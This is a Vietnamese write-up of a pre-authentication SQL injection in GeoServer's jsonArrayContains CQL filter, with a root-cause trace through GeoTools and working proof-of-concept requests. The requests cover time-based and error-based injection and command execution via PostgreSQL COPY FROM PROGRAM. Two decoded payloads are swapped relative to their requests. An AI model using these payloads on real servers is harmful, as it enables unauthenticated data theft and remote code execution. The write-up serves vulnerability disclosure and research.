Geoserver - Pre-Auth SQLi lead to RCE
Geoserver - Preauth SQLi lead to RCE
Description and Impact
| Type | Version affected | Authentication required | CVSS |
|---|---|---|---|
| SQL Injection | GeoTools gt-jdbc-postgis, versions < 33.1, <34.0, and < 35.0., Geoserver < 3.0.1, <2.28.5, <2.27.6 | No |
GET /geoserver/wfs (dịch vụ WFS – Web Feature Service) là chức năng cốt lõi để client (QGIS, web map, ứng dụng GIS…) truy vấn dữ liệu vector từ GeoServer. Tham số cql_filter cho phép lọc feature bằng ngôn ngữ CQL/ECQL — một cú pháp truy vấn thuộc tính/không gian rất mạnh, dùng thay cho <Filter> XML dài dòng của chuẩn OGC.
Hàm filter jsonArrayContains(<column>, <pointer>, <value>) ghi/chèn trực tiếp tham số vào câu lệnh SQL được tạo mà không thực hiện escape khi áp dụng trên các trường kiểu JSONB hoặc JSON của PostGIS 12+, dẫn đến lỗ hổng SQL Injection không cần xác thực .
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature
&typeNames=sf:sensors
&cql_filter=jsonArrayContains(data,'readings/value','active')
Root cause analysis
Source
Toàn bộ request tới GeoServer đi qua một DispatcherServlet duy nhất của Spring, được khai báo trong src\web\app\src\main\webapp\WEB-INF\web.xml để nhận mọi path /*:
src\web\app\src\main\webapp\WEB-INF\web.xml
<!-- spring dispatcher servlet, dispatches all incoming requests -->
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
Sau khi DispatcherServlet nhận được Request, nó phân tích đường dẫn và nhận ra đây là một truy vấn dành cho dịch vụ WFS/WCS. Hệ thống OWS của GeoServer lấy các tham số (Key-Value) trên URL ra. Khi thấy tham số cql_filter, nó tra cứu trong hệ thống Spring Bean và tìm thấy CQLFilterKvpParser – lớp được giao nhiệm vụ xử lý tham số này.
src\wfs\src\main\java\applicationContext.xml
<bean id="cqlKvpParser" class="org.geoserver.ows.kvp.CQLFilterKvpParser"/>
Bean này chỉ làm đúng một việc — chuyển raw string sang engine ECQL, không hề sanitize:
org.geoserver.ows.kvp.CQLFilterKvpParser
public Object parse(String value) throws Exception {
return XCQL.toFilterList(value);
}
Từ đây payload đi qua chuỗi gọi XCQL.toFilterList → ECQL.toFilterList → CompilerUtil.parseFilterList → ECQLCompiler.compileFilterList, tức là được đưa thẳng vào parser JavaCC của ngôn ngữ CQL — một lớp hoàn toàn không biết khái niệm SQL injection. Khi parser gặp giá trị nằm trong dấu nháy đơn (tham số thứ 3 của jsonArrayContains), nó chỉ đơn giản bóc dấu '...' bên ngoài rồi gói phần còn lại giữ nguyên payload thành object Literal:
org.geotools.filter.text.cql2.AbstractFilterBuilder
public Literal buildLiteralString(final String tokenImage) {
// Chỉ xóa ' ' bọc ngoài, giữ nguyên payload
String strLiteral = removeQuotes(tokenImage);
return filterFactory.literal(strLiteral);
}
Kết quả là một cây Filter chứa Literal kèm payload gốc, chưa qua bất kỳ bước lọc nào — được truyền tiếp cho tầng DataStore Dialect để dịch sang SQL. Với backend PostgreSQL, lớp đảm nhận là PostgisFilterToSQL, chuyên dịch các hàm như jsonArrayContains sang cú pháp PostGIS:
org.geotools.data.postgis.PostgisFilterToSQL
public Object visit(PropertyIsEqualTo filter, Object extraData) {
Expression left = filter.getExpression1(); // left là hàm JsonArrayContains
// ...
} else {
// Chuẩn bị dịch hàm này sang SQL
this.writeBinaryExpression(left, leftContext);
return extraData;
}
}
left (chứa Literal payload) sau đó đi qua một chuỗi dispatch nội bộ của GeoTools để tới nơi xử lý cuối cùng:
writeBinaryExpression() → left.accept(delegate) → visit(Function, ...) (bộ điều phối chung cho mọi hàm) → visitFunction() trong FilterToSqlHelper → nhận diện instanceof JsonArrayContainsFunction → gọi encodeJsonArrayContains().
Sink
Ứng dụng kiểm tra version của Postgre xem có hỗ trợ hàm json_path_exists( không (version ≥ 12), nếu có thì sử dụng hàm nếu không rẽ sang toán tử containment @>, không đi qua constructEquality().
\gt-jdbc-postgis-34.1.jar\org.geotools.data.postgis\FilterToSqlHelper.java

Tại constructEquality(), Để nối payload (expected) vào câu SQL, hàm constructEquality() đã sử dụng .formatted() để chèn trực tiếp biến vào chuỗi mà không bọc nó qua lớp bảo vệ escapeJsonLiteral().
org.geotools.jdbc.FilterToSqlHelper

Sau đó query payload được đưa vào câu Select và thực thi:

Query được thực thi bằng hàm runQuery():


Steps to reproduce
Điều kiện khai thác
- Geoserver: Version < 3.0.1, <2.28.5, <2.27.6
- Postgre version ≥ 12
- App có Layer public và chứa cột có kiểu dữ liệu
jsonb - GeoTools gt-jdbc-postgis, versions < 33.1, <34.0, and < 35.0.
Exploit
Time-Based:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=lab%3Apoi&CQL_FILTER=jsonArrayContains%28%22data%22%2C%20%27%2Fa%27%2C%20%27x%22%29%27%27%29%20OR%20%28SELECT%20%2A%20FROM%20%28SELECT%20pg_sleep%28CASE%20WHEN%201%3D1%20THEN%204%20ELSE%200%20END%29%29%20a%29%20IS%20NOT%20NULL%20OR%20%28%27%271%27%27%3D%27%271%27%29%20%3D%20true HTTP/1.1
Accept-Encoding: gzip, deflate, br
Host: localhost:8080
User-Agent: poc
Connection: keep-alive
jsonArrayContains("data", '/a', 'x")'') OR (SELECT * FROM (SELECT pg_sleep(CASE WHEN 1=1 THEN 4 ELSE 0 END)) a) IS NOT NULL OR (''1''=''1') = true

Error-Based:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=lab%3Apoi&CQL_FILTER=jsonArrayContains%28%22data%22%2C%20%27%2Fa%27%2C%20%27x%22%29%27%27%29%20AND%20CAST%28%28SELECT%20version%28%29%29%20AS%20NUMERIC%29%3D1%20OR%20%28%27%271%27%27%3D%27%271%27%29%20%3D%20true HTTP/1.1
Accept-Encoding: gzip, deflate, br
Host: localhost:8080
User-Agent: poc
Connection: keep-alive
jsonArrayContains("data", '/a', 'x")'') AND CAST((SELECT version()) AS NUMERIC)=1 OR (''1''=''1') = true

RCE
Điều kiện để có thể RCE cần user kết nối với database là superadmin/postgre
Vì có thể khai thác bằng error-based kết hợp với stack query của Postgre, nên có thể RCE qua statement COPY và trả lại kết quả của command qua response.
Đầu tiên tạo bảng bất kỳ và thực thi command bằng query COPY sau đó lưu kết quả lại vào bảng vừa tạo dưới dạng hex:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=lab%3Apoi&CQL_FILTER=jsonArrayContains%28%22data%22%2C%20%27%2Fa%27%2C%20%27x%22%29%27%27%29%20%29%20%3B%20COMMIT%3B%20DROP%20TABLE%20IF%20EXISTS%20cmd_out_tmp%3B%20CREATE%20TABLE%20cmd_out_tmp%28output%20text%29%3B%20COPY%20cmd_out_tmp%28output%29%20FROM%20PROGRAM%20%27%27whoami%27%27%3B%20COMMIT%3B%20--%27%29%20%3D%20true HTTP/1.1
Accept-Encoding: gzip, deflate, br
Host: localhost:8080
User-Agent: poc
Connection: keep-alive
jsonArrayContains("data", '/a', 'x")'') AND CAST((SELECT chr(126)||(SELECT encode(convert_to(COALESCE(string_agg(output, chr(10)), ''[Empty Output]''), ''UTF8''), ''hex'') FROM cmd_out_tmp)||chr(126)) AS NUMERIC)=1 OR (''1''=''1') = true

Tiếp theo gửi request để select kết quả vừa ghi vào bảng vừa tạo:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=lab%3Apoi&CQL_FILTER=jsonArrayContains%28%22data%22%2C%20%27%2Fa%27%2C%20%27x%22%29%27%27%29%20AND%20CAST%28%28SELECT%20chr%28126%29%7C%7C%28SELECT%20encode%28convert_to%28COALESCE%28string_agg%28output%2C%20chr%2810%29%29%2C%20%27%27%5BEmpty%20Output%5D%27%27%29%2C%20%27%27UTF8%27%27%29%2C%20%27%27hex%27%27%29%20FROM%20cmd_out_tmp%29%7C%7Cchr%28126%29%29%20AS%20NUMERIC%29%3D1%20OR%20%28%27%271%27%27%3D%27%271%27%29%20%3D%20true HTTP/1.1
Accept-Encoding: gzip, deflate, br
Host: localhost:8080
User-Agent: poc
Connection: keep-alive
jsonArrayContains("data", '/a', 'x")'') ) ; COMMIT; DROP TABLE IF EXISTS cmd_out_tmp; CREATE TABLE cmd_out_tmp(output text); COPY cmd_out_tmp(output) FROM PROGRAM ''whoami''; COMMIT; --') = true

Decode hex:
